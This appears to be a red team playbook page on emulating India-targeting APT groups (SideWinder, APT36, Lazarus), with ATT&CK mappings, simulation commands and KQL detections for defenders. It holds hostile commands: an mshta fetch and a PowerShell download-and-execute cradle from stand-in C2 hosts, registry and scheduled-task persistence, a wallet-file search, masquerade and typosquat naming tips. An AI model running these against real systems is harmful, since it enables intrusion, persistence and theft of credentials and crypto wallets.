Red Team  ·  Adversary Simulation

India APT
Playbook

Simulate the actual threat actors targeting Indian organisations. This playbook covers SideWinder, APT36/Transparent Tribe, and Lazarus Group — their TTPs, IOCs, MITRE ATT&CK mapping, simulation commands, and detection opportunities. Red team India-specific, not generic.

3
APT Groups
30+
TTPs
MITRE
Mapped
KQL
Detections
🇮🇳 Active India Threat Landscape
SideWinderACTIVE
APT36 / Transparent TribeACTIVE
Lazarus Group (DPRK)HIGH
Volt Typhoon (China)ELEVATED
Patchwork / Dropping ElephantMODERATE
Source: CERT-In, NCSC advisories, Mandiant, Recorded Future threat intel
🇬🇧

India Threat Landscape

India is one of the most targeted nations globally for state-sponsored cyber operations. Three primary adversaries are responsible for 80%+ of India-specific APT activity. Red teamers should simulate these actors — not generic threat actors.

Pakistan-originDPRK-originCERT-In Intel
⚠️ Legal Reminder
This playbook is for authorised red team engagements and security research only. Simulating APT TTPs against systems you do not have written permission to test is a criminal offence under the IT Act 2000. Always have a signed Rules of Engagement document before any testing.
💥
SideWinder
Pakistan-linked. Targets India government, military, think-tanks. Most prolific APT targeting India — active since 2012.
T1566 → T1059 → T1547 → T1071
🎭
APT36 / Transparent Tribe
Pakistan-linked. Targets Indian defence, education, NGOs. Known for HR-themed lures and CrimsonRAT malware.
T1566 → T1059.005 → T1071 → T1560
💻
Lazarus Group
North Korea-linked (DPRK/RGB). Targets crypto, BFSI, defence R&D. Financially motivated — $3B+ crypto stolen globally.
T1566 → T1195 → T1486 → T1041
Sector Targeting Matrix
SectorSideWinderAPT36LazarusRisk Level
Government / DefencePRIMARYPRIMARYMODERATECRITICAL
BFSI / BankingLOWLOWPRIMARYCRITICAL
Cryptocurrency / FintechLOWLOWPRIMARYCRITICAL
Education / ResearchHIGHPRIMARYLOWHIGH
Think-tanks / NGOsPRIMARYHIGHLOWHIGH
IT Services / TechLOWLOWHIGHHIGH
HealthcareLOWLOWMODERATEMODERATE
💥

SideWinder (APT-C-17 / Rattlesnake)

Pakistan-linked APT active since 2012. Most prolific APT group targeting India — over 1,000 campaigns documented. Primary targets: Indian government, military, think-tanks. Known for rapid infrastructure rotation and .hta/.rtf dropper chains.

Origin: PakistanActive since 2012Govt / Military
Attack Kill Chain
T1566.001
Spearphish
RTF / .docx lure
→
T1203
Exploit
CVE-2017-11882
→
T1059.005
VBScript
mshta.exe dropper
→
T1027
CRIMSON RAT
.NET obfuscated
→
T1071.001
C2 HTTP
Custom protocol
→
T1041
Exfiltration
Docs / creds
MITRE ATT&CK TTP Table
PhaseTechnique IDTechniqueSideWinder ImplementationSeverity
Initial AccessT1566.001Spearphishing AttachmentRTF files exploiting CVE-2017-11882 (Office Equation Editor). Lures: Promotion orders, GoI circulars, DRDO documents.CRIT
ExecutionT1059.005VBScriptmshta.exe executes remote HTA payload from attacker-controlled CDN. Chains to .NET payload stage 2.CRIT
ExecutionT1203Exploit Client ExecutionCVE-2017-11882 (CVSS 7.8) — Microsoft Office Equation Editor memory corruption. Unpatched systems in India govt still vulnerable.CRIT
PersistenceT1547.001Registry Run KeysHKCU\Software\Microsoft\Windows\CurrentVersion\Run → named as Windows service ("WinUpdate", "SvcHost")HIGH
PersistenceT1053.005Scheduled TaskTasks named "MicrosoftEdgeUpdate", "WindowsDefenderUpdate" — blends with legitimate tasks.HIGH
Defence EvasionT1027Obfuscated FilesCRIMSON RAT packed with ConfuserEx (.NET obfuscator). DLL side-loading via signed Microsoft binaries.HIGH
C2T1071.001Web ProtocolsHTTP POST to attacker domains mimicking Indian govt (.in TLD). Short-lived domains rotated every 2–4 weeks. TLS with LetsEncrypt.CRIT
ExfiltrationT1041Exfiltration Over C2Documents (.docx, .pdf, .xlsx), credentials, screenshots exfiltrated via HTTP POST to C2 in compressed archives.HIGH
Simulation Commands (Authorised Lab Only)
// Simulate SideWinder spearphish delivery chain
# Stage 1: Craft RTF lure (CVE-2017-11882 simulation)
# Use: python-docx or exploitdb/RTF generator for testing
# Lure filename: "Posting_Order_Army_Oct2025.docx"

# Stage 2: Host HTA payload (simulated CRIMSON RAT stager)
python3 -m http.server 8080 & # Host on C2
# HTA content calls PowerShell stager:
mshta.exe http://YOUR-C2/stage2.hta

# Stage 3: Persistence via Registry Run key
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\ProgramData\WinUpd.exe" /f

# Stage 4: Scheduled task persistence
schtasks /create /tn "MicrosoftEdgeUpdate" /tr "C:\ProgramData\WinUpd.exe" /sc onlogon /ru SYSTEM /f
📊 Detection KQL — SideWinder
// Detect mshta.exe executing remote HTA (SideWinder delivery)
DeviceProcessEvents
| where FileName == "mshta.exe"
| where ProcessCommandLine has "http://" or ProcessCommandLine has "https://"
| where InitiatingProcessFileName in ("winword.exe","excel.exe","outlook.exe")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine
🎭

APT36 / Transparent Tribe (C-Major)

Pakistan-linked APT active since 2016. Focuses on Indian defence establishment, education sector, and NGOs. Known for HR-themed lures, CrimsonRAT + ObliqueRAT malware, and Android targeting via AndroRAT.

Origin: PakistanActive since 2016Defence / Education
Key TTPs
Technique IDTechniqueAPT36 ImplementationSeverity
T1566.001Spearphishing AttachmentHR-themed lures: "Salary_Revision_Oct2025.docx", "Army_Welfare_Fund_Form.pdf". Targets DRDO, military contractors, Kashmir-focused NGOs.CRIT
T1059.005VBScript / VBA MacroWord macros dropping ObliqueRAT. VBScript executing PowerShell cradles. CrimsonRAT delivered as .NET assembly.CRIT
T1036MasqueradingBinaries named "AdobeUpdate.exe", "GoogleChromeUpdater.exe". Fake government portal domains (armywelfare[.]in).HIGH
T1071.001C2 Web ProtocolCrimsonRAT: HTTP POST with custom headers. Domain pattern: gov-[keyword]-india.com / welfare-[keyword].inCRIT
T1560Archive Collected DataExfiltrated data compressed to ZIP/RAR before HTTP POST. Screenshots, documents, keylog files.HIGH
T1476Android MalwareAndroRAT targeting Android devices of military/defence personnel. Delivered via WhatsApp as APK with military content.HIGH
CrimsonRAT Simulation Commands
// Emulate APT36 CrimsonRAT delivery chain in lab
# Stage 1: HR-themed malicious document
# Filename: "Salary_Revision_Oct2025.docx"
# Macro: Downloads and executes .NET payload

# Stage 2: CrimsonRAT capabilities to emulate:
# - Screenshot capture (every 30 seconds)
# - Keylogging
# - File enumeration and upload
# - USB drive harvesting

# Use Havoc or Sliver with custom C2 profile to emulate:
# HTTP POST /api/update with custom headers
# User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64)

# Detection check: run this on victim VM post-sim:
Get-Process | Where-Object {$_.Name -notlike "System*"} | Select-Object Name, Id, StartTime
Get-ScheduledTask | Where-Object {$_.TaskPath -notlike "\Microsoft*"} | Select-Object TaskName, TaskPath
⚠️ MITRE Navigator Layer
APT36 maps primarily to: Initial Access (T1566), Execution (T1059.005, T1204), Persistence (T1547.001, T1053.005), Collection (T1113, T1056, T1005), Exfiltration (T1041, T1560). Download the official MITRE ATT&CK Navigator layer for APT36 from attack.mitre.org for full mapping.
💻

Lazarus Group (HIDDEN COBRA / ZINC)

North Korea state-sponsored group linked to DPRK's Reconnaissance General Bureau (RGB). Responsible for $3B+ in crypto theft globally. Targets India for financial gain and defence R&D espionage. Highly sophisticated — uses custom malware, zero-days, and supply chain attacks.

Origin: DPRK (North Korea)Active since 2009Crypto / BFSI / R&D
Attack Categories Targeting India
CampaignTechniqueIndia TargetLazarus ImplementationSeverity
Operation DreamJobT1566.001Crypto exchange employees, fintech devsLinkedIn fake recruiter → PDF job offer → ZIP containing .iso → .lnk → PowerShell stager → BLINDINGCAN RATCRIT
npm Supply ChainT1195.002India developer communityMalicious npm packages (typosquatting): "colors-js", "loadash-utils". Postinstall script exfiltrates environment vars + SSH keys.CRIT
SWIFT TargetingT1199Indian banks with SWIFTAssumed breach from phished SWIFT operator → lateral to SWIFT terminal → fraudulent MT103 messages. Bangladesh Bank heist pattern.CRIT
Crypto Exchange HackT1650Indian crypto exchangesCompromise hot wallet admin → drain to DPRK-controlled wallets → Tornado Cash/mixer laundering. $200M+ from Indian exchanges.CRIT
R&D EspionageT1213DRDO, IIT defence researchWatering hole attacks on Indian academic portals. Credential harvesting → lateral movement → IP theft of defence designs.HIGH
Operation DreamJob Simulation
// Emulate Lazarus DreamJob initial access chain
# Stage 1: Create fake recruiter persona on LinkedIn
# Company: "CryptoHire India", "BlockchainTalent.in"
# Lure PDF: "Senior_Blockchain_Dev_Binance_India_2025.pdf"

# Stage 2: PDF → ZIP → ISO → LNK chain
# .lnk file executes hidden PowerShell:
$url="http://c2-server/stage2.ps1"
IEX (New-Object Net.WebClient).DownloadString($url)

# Stage 3: Lateral movement simulation in lab
# Lazarus uses custom implants — emulate with Havoc + custom profile
# Key capability: BLINDINGCAN = modular RAT with:
# - Process injection
# - Keylogging
# - Screen capture
# - File upload/download

# Stage 4: Crypto-specific TTPs
# Look for: MetaMask config files, wallet.dat, seed phrases in documents
Get-ChildItem -Recurse -Include "wallet.dat","*.json" C:\Users\ 2>$null
🎯

Emulation Scenario Builder

Select an APT group and target sector to generate a tailored simulation scenario with objectives, TTPs, and success criteria.

📋

IOC Reference — Domain & File Patterns

Reference patterns for lab simulation. These are IOC PATTERNS — not specific live IOCs. Use to create realistic lab infrastructure that mimics APT tradecraft.

⚠️ Warning
Never use real APT domains or IPs in your lab. Always generate your own similar-pattern infrastructure. Connecting to real APT C2 infrastructure is illegal and dangerous.
SideWinder Domain Patterns
# Pattern: Government impersonation domains (.in TLD)
gov-india-[keyword].com
india-[ministry]-[keyword].in
army-welfare-[random].net
# Certificate: LetsEncrypt (free, automated)
# Hosting: Bulletproof hosting (RU/CN) or compromised VPS
# TTL: 2–4 weeks before rotation
# Lab simulation: Use your own VPS + similar pattern for C2
APT36 Domain Patterns
# Pattern: Welfare / government service impersonation
welfare-india-[keyword].com
[ministry]-[service]-india.org
army-[department]-login.in
# Certificate: Self-signed or LetsEncrypt
# File patterns: AdobeUpdate.exe, ChromeUpdater.exe, WinHelper32.exe
# Lab: Name your Havoc payload similarly for realistic OPSEC testing
Lazarus File Patterns
# npm package names (typosquatting pattern):
colours-js (vs colors-js)
loadash-utils (vs lodash)
react-native-crypto-utils
# Lure filenames:
Senior_[Role]_[Company]_[Year].pdf
Blockchain_Developer_Assessment.zip
# File icon: PDF icon overlay on .lnk or .exe
# Lab: Create test npm package with similar naming to verify your detection coverage
📊

APT Detection — KQL Queries

Production-ready KQL queries for Microsoft Sentinel to detect the specific TTPs used by India-targeting APT groups. Test these during red team simulations to validate your detection coverage.

SideWinder Detections
// Detect Office process spawning mshta.exe (SideWinder / APT36 delivery)
DeviceProcessEvents
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","outlook.exe","powerpnt.exe")
| where FileName in~ ("mshta.exe","wscript.exe","cscript.exe","powershell.exe","cmd.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| order by Timestamp desc
// Detect new Registry Run Key persistence (SideWinder / APT36)
DeviceRegistryEvents
| where ActionType == "RegistryValueSet"
| where RegistryKey has_any ("CurrentVersion\\Run","CurrentVersion\\RunOnce")
| where RegistryValueData has_any (".exe",".dll",".ps1",".vbs")
| where InitiatingProcessFileName !in~ ("msiexec.exe","setup.exe","install.exe")
| project Timestamp, DeviceName, AccountName, RegistryKey, RegistryValueName, RegistryValueData
Lazarus Detections
// Detect npm postinstall executing suspicious commands (Lazarus supply chain)
DeviceProcessEvents
| where InitiatingProcessFileName in~ ("node.exe","npm.cmd","npm")
| where ProcessCommandLine has_any ("curl","wget","powershell","bash","sh -c","Invoke-Expression","IEX","DownloadString")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine
// Detect LNK file executing PowerShell (Lazarus DreamJob delivery)
DeviceProcessEvents
| where FileName =~ "powershell.exe"
| where InitiatingProcessFileName =~ "explorer.exe"
| where ProcessCommandLine has_any ("-enc","-EncodedCommand","IEX","DownloadString","Invoke-Expression")
| where isnotempty(ProcessCommandLine)
| project Timestamp, DeviceName, AccountName, ProcessCommandLine
✅ Purple Team Integration
Run these detections BEFORE your red team simulation to baseline — then run them DURING simulation to verify they fire. Any detection that doesn't trigger on your simulation is a gap. Document gaps for the blue team as part of your engagement report.